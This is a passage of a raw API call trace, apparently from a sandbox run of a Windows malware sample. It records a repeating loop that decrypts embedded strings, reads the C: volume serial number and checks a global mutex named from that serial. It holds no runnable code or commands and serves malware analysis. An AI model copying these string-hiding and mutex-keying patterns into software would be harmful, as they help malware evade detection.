hHeap=0xb00000) returned 1 [0048.194] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb05f00 [0048.194] CryptImportKey (in: hProv=0x735018, pbData=0x209f69c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f704 | out: phKey=0x209f704*=0x7401c0) returned 1 [0048.194] CryptSetKeyParam (hKey=0x7401c0, dwParam=0x1, pbData=0x209f6ec, dwFlags=0x0) returned 1 [0048.194] CryptDecrypt (in: hKey=0x7401c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f00, pdwDataLen=0x209f6b8 | out: pbData=0xb05f00, pdwDataLen=0x209f6b8) returned 1 [0048.194] CryptDestroyKey (hKey=0x7401c0) returned 1 [0048.194] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0x3070f0 [0048.194] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x14c [0048.194] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x0) returned 0x102 [0048.194] CloseHandle (hObject=0x14c) returned 1 [0048.194] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0048.195] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0xb00000) returned 1 [0048.195] Sleep (dwMilliseconds=0x3e8) [0049.759] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb0d090 [0049.759] CryptImportKey (in: hProv=0x735018, pbData=0x209f668*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6d0 | out: phKey=0x209f6d0*=0x73d5a8) returned 1 [0049.760] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f6b8, dwFlags=0x0) returned 1 [0049.760] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0d090, pdwDataLen=0x209f684 | out: pbData=0xb0d090, pdwDataLen=0x209f684) returned 1 [0049.760] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0049.760] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb0d0b8 [0049.760] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb0d0e0 [0049.760] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0049.760] CryptImportKey (in: hProv=0x735018, pbData=0x209f640*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6a8 | out: phKey=0x209f6a8*=0x73d5a8) returned 1 [0049.760] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f690, dwFlags=0x0) returned 1 [0049.760] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x209f65c | out: pbData=0xb0ab38, pdwDataLen=0x209f65c) returned 1 [0049.760] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0049.760] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0049.760] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0d0b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0049.760] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0e0 | out: hHeap=0xb00000) returned 1 [0049.760] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d090 | out: hHeap=0xb00000) returned 1 [0049.760] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x209f710, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x209f710*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0049.760] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0b8 | out: hHeap=0xb00000) returned 1 [0049.761] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb05f00 [0049.761] CryptImportKey (in: hProv=0x735018, pbData=0x209f69c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f704 | out: phKey=0x209f704*=0x73d5a8) returned 1 [0049.761] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f6ec, dwFlags=0x0) returned 1 [0049.761] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f00, pdwDataLen=0x209f6b8 | out: pbData=0xb05f00, pdwDataLen=0x209f6b8) returned 1 [0049.761] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0049.761] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0x3070f0 [0049.761] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x14c [0049.761] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x0) returned 0x102 [0049.761] CloseHandle (hObject=0x14c) returned 1 [0049.762] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0049.762] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0xb00000) returned 1 [0049.762] Sleep (dwMilliseconds=0x3e8) [0051.704] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb0d0b8 [0051.705] CryptImportKey (in: hProv=0x735018, pbData=0x209f668*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6d0 | out: phKey=0x209f6d0*=0x73d5a8) returned 1 [0051.705] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f6b8, dwFlags=0x0) returned 1 [0051.705] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0d0b8, pdwDataLen=0x209f684 | out: pbData=0xb0d0b8, pdwDataLen=0x209f684) returned 1 [0051.705] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0051.705] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb0d090 [0051.705] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb0d0e0 [0051.705] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0051.705] CryptImportKey (in: hProv=0x735018, pbData=0x209f640*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6a8 | out: phKey=0x209f6a8*=0x73d5a8) returned 1 [0051.705] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f690, dwFlags=0x0) returned 1 [0051.705] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x209f65c | out: pbData=0xb0ab38, pdwDataLen=0x209f65c) returned 1 [0051.705] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0051.706] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0051.706] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0d090, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0051.706] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0e0 | out: hHeap=0xb00000) returned 1 [0051.706] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0b8 | out: hHeap=0xb00000) returned 1 [0051.706] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x209f710, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x209f710*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0051.707] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d090 | out: hHeap=0xb00000) returned 1 [0051.707] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb05f00 [0051.707] CryptImportKey (in: hProv=0x735018, pbData=0x209f69c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f704 | out: phKey=0x209f704*=0x73d5a8) returned 1 [0051.707] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f6ec, dwFlags=0x0) returned 1 [0051.707] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f00, pdwDataLen=0x209f6b8 | out: pbData=0xb05f00, pdwDataLen=0x209f6b8) returned 1 [0051.707] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0051.707] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0x3070f0 [0051.707] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x14c [0051.707] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x0) returned 0x102 [0051.707] CloseHandle (hObject=0x14c) returned 1 [0051.707] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0051.708] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0xb00000) returned 1 [0051.708] Sleep (dwMilliseconds=0x3e8) [0053.209] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb0d090 [0053.209] CryptImportKey (in: hProv=0x735018, pbData=0x209f668*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6d0 | out: phKey=0x209f6d0*=0x73d5a8) returned 1 [0053.209] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f6b8, dwFlags=0x0) returned 1 [0053.209] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0d090, pdwDataLen=0x209f684 | out: pbData=0xb0d090, pdwDataLen=0x209f684) returned 1 [0053.209] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0053.209] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb0d0b8 [0053.209] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb0d0e0 [0053.209] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0053.209] CryptImportKey (in: hProv=0x735018, pbData=0x209f640*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6a8 | out: phKey=0x209f6a8*=0x73d5a8) returned 1 [0053.209] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f690, dwFlags=0x0) returned 1 [0053.209] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x209f65c | out: pbData=0xb0ab38, pdwDataLen=0x209f65c) returned 1 [0053.209] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0053.210] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0053.210] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0d0b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0053.210] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0e0 | out: hHeap=0xb00000) returned 1 [0053.210] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d090 | out: hHeap=0xb00000) returned 1 [0053.210] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x209f710, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x209f710*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0053.211] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0b8 | out: hHeap=0xb00000) returned 1 [0053.211] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb05f00 [0053.211] CryptImportKey (in: hProv=0x735018, pbData=0x209f69c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f704 | out: phKey=0x209f704*=0x73d5a8) returned 1 [0053.211] CryptSetKeyParam (hKey=0x73d5a8, dwParam=0x1, pbData=0x209f6ec, dwFlags=0x0) returned 1 [0053.211] CryptDecrypt (in: hKey=0x73d5a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f00, pdwDataLen=0x209f6b8 | out: pbData=0xb05f00, pdwDataLen=0x209f6b8) returned 1 [0053.211] CryptDestroyKey (hKey=0x73d5a8) returned 1 [0053.211] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0x3070f0 [0053.211] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x14c [0053.211] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0x0) returned 0x102 [0053.211] CloseHandle (hObject=0x14c) returned 1 [0053.211] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0053.211] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0xb00000) returned 1 [0053.212] Sleep (dwMilliseconds=0x3e8) [0054.354] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb0d0b8 [0054.354] CryptImportKey (in: hProv=0x735018, pbData=0x209f668*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6d0 | out: phKey=0x209f6d0*=0x7406a0) returned 1 [0054.354] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f6b8, dwFlags=0x0) returned 1 [0054.354] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0d0b8, pdwDataLen=0x209f684 | out: pbData=0xb0d0b8, pdwDataLen=0x209f684) returned 1 [0054.354] CryptDestroyKey (hKey=0x7406a0) returned 1 [0054.354] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb0d090 [0054.354] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb0d0e0 [0054.354] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0054.354] CryptImportKey (in: hProv=0x735018, pbData=0x209f640*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6a8 | out: phKey=0x209f6a8*=0x7406a0) returned 1 [0054.354] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f690, dwFlags=0x0) returned 1 [0054.354] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x209f65c | out: pbData=0xb0ab38, pdwDataLen=0x209f65c) returned 1 [0054.354] CryptDestroyKey (hKey=0x7406a0) returned 1 [0054.355] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0054.355] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0d090, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0054.355] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0e0 | out: hHeap=0xb00000) returned 1 [0054.355] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0b8 | out: hHeap=0xb00000) returned 1 [0054.355] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x209f710, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x209f710*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0054.356] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d090 | out: hHeap=0xb00000) returned 1 [0054.356] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb05f00 [0054.356] CryptImportKey (in: hProv=0x735018, pbData=0x209f69c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f704 | out: phKey=0x209f704*=0x7406a0) returned 1 [0054.356] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f6ec, dwFlags=0x0) returned 1 [0054.356] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f00, pdwDataLen=0x209f6b8 | out: pbData=0xb05f00, pdwDataLen=0x209f6b8) returned 1 [0054.356] CryptDestroyKey (hKey=0x7406a0) returned 1 [0054.356] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0x3070f0 [0054.356] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x148 [0054.356] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x0) returned 0x102 [0054.356] CloseHandle (hObject=0x148) returned 1 [0054.356] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0054.357] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0xb00000) returned 1 [0054.357] Sleep (dwMilliseconds=0x3e8) [0055.650] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb0d090 [0055.650] CryptImportKey (in: hProv=0x735018, pbData=0x209f668*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6d0 | out: phKey=0x209f6d0*=0x7406a0) returned 1 [0055.650] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f6b8, dwFlags=0x0) returned 1 [0055.650] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0d090, pdwDataLen=0x209f684 | out: pbData=0xb0d090, pdwDataLen=0x209f684) returned 1 [0055.650] CryptDestroyKey (hKey=0x7406a0) returned 1 [0055.650] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb0d0b8 [0055.650] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb0d0e0 [0055.650] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0055.650] CryptImportKey (in: hProv=0x735018, pbData=0x209f640*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6a8 | out: phKey=0x209f6a8*=0x7406a0) returned 1 [0055.650] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f690, dwFlags=0x0) returned 1 [0055.650] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x209f65c | out: pbData=0xb0ab38, pdwDataLen=0x209f65c) returned 1 [0055.650] CryptDestroyKey (hKey=0x7406a0) returned 1 [0055.651] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0055.651] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0d0b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0055.651] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0e0 | out: hHeap=0xb00000) returned 1 [0055.651] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d090 | out: hHeap=0xb00000) returned 1 [0055.651] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x209f710, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x209f710*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0055.651] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0b8 | out: hHeap=0xb00000) returned 1 [0055.651] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb05f00 [0055.652] CryptImportKey (in: hProv=0x735018, pbData=0x209f69c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f704 | out: phKey=0x209f704*=0x7406a0) returned 1 [0055.652] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f6ec, dwFlags=0x0) returned 1 [0055.652] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f00, pdwDataLen=0x209f6b8 | out: pbData=0xb05f00, pdwDataLen=0x209f6b8) returned 1 [0055.652] CryptDestroyKey (hKey=0x7406a0) returned 1 [0055.652] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0x3070f0 [0055.652] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x148 [0055.652] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x0) returned 0x102 [0055.652] CloseHandle (hObject=0x148) returned 1 [0055.652] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0055.653] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0xb00000) returned 1 [0055.653] Sleep (dwMilliseconds=0x3e8) [0057.443] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb0d0b8 [0057.443] CryptImportKey (in: hProv=0x735018, pbData=0x209f668*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6d0 | out: phKey=0x209f6d0*=0x7406a0) returned 1 [0057.443] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f6b8, dwFlags=0x0) returned 1 [0057.443] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0d0b8, pdwDataLen=0x209f684 | out: pbData=0xb0d0b8, pdwDataLen=0x209f684) returned 1 [0057.443] CryptDestroyKey (hKey=0x7406a0) returned 1 [0057.444] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb0d090 [0057.444] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb0d0e0 [0057.444] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0057.444] CryptImportKey (in: hProv=0x735018, pbData=0x209f640*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6a8 | out: phKey=0x209f6a8*=0x7406a0) returned 1 [0057.444] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f690, dwFlags=0x0) returned 1 [0057.444] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x209f65c | out: pbData=0xb0ab38, pdwDataLen=0x209f65c) returned 1 [0057.444] CryptDestroyKey (hKey=0x7406a0) returned 1 [0057.444] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0057.444] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0d090, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0057.444] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0e0 | out: hHeap=0xb00000) returned 1 [0057.444] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0b8 | out: hHeap=0xb00000) returned 1 [0057.445] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x209f710, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x209f710*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0057.447] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d090 | out: hHeap=0xb00000) returned 1 [0057.447] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x40) returned 0xb05f00 [0057.447] CryptImportKey (in: hProv=0x735018, pbData=0x209f69c*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f704 | out: phKey=0x209f704*=0x7406a0) returned 1 [0057.447] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f6ec, dwFlags=0x0) returned 1 [0057.447] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb05f00, pdwDataLen=0x209f6b8 | out: pbData=0xb05f00, pdwDataLen=0x209f6b8) returned 1 [0057.447] CryptDestroyKey (hKey=0x7406a0) returned 1 [0057.447] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x34) returned 0x3070f0 [0057.447] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x148 [0057.447] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x0) returned 0x102 [0057.447] CloseHandle (hObject=0x148) returned 1 [0057.448] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb05f00 | out: hHeap=0xb00000) returned 1 [0057.448] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0xb00000) returned 1 [0057.448] Sleep (dwMilliseconds=0x3e8) [0058.669] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x20) returned 0xb0d090 [0058.669] CryptImportKey (in: hProv=0x735018, pbData=0x209f668*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6d0 | out: phKey=0x209f6d0*=0x7406a0) returned 1 [0058.669] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f6b8, dwFlags=0x0) returned 1 [0058.669] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0d090, pdwDataLen=0x209f684 | out: pbData=0xb0d090, pdwDataLen=0x209f684) returned 1 [0058.669] CryptDestroyKey (hKey=0x7406a0) returned 1 [0058.669] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x8, Size=0x1e) returned 0xb0d0b8 [0058.669] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x1e) returned 0xb0d0e0 [0058.669] RtlAllocateHeap (HeapHandle=0xb00000, Flags=0x0, Size=0x90) returned 0xb0ab38 [0058.669] CryptImportKey (in: hProv=0x735018, pbData=0x209f640*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x209f6a8 | out: phKey=0x209f6a8*=0x7406a0) returned 1 [0058.669] CryptSetKeyParam (hKey=0x7406a0, dwParam=0x1, pbData=0x209f690, dwFlags=0x0) returned 1 [0058.669] CryptDecrypt (in: hKey=0x7406a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb0ab38, pdwDataLen=0x209f65c | out: pbData=0xb0ab38, pdwDataLen=0x209f65c) returned 1 [0058.669] CryptDestroyKey (hKey=0x7406a0) returned 1 [0058.669] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0ab38 | out: hHeap=0xb00000) returned 1 [0058.669] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb0d0b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0058.669] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d0e0 | out: hHeap=0xb00000) returned 1 [0058.669] HeapFree (in: hHeap=0xb00000, dwFlags=0x0, lpMem=0xb0d090 | out: hHeap=0xb00000) returned 1 [0058.669] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, 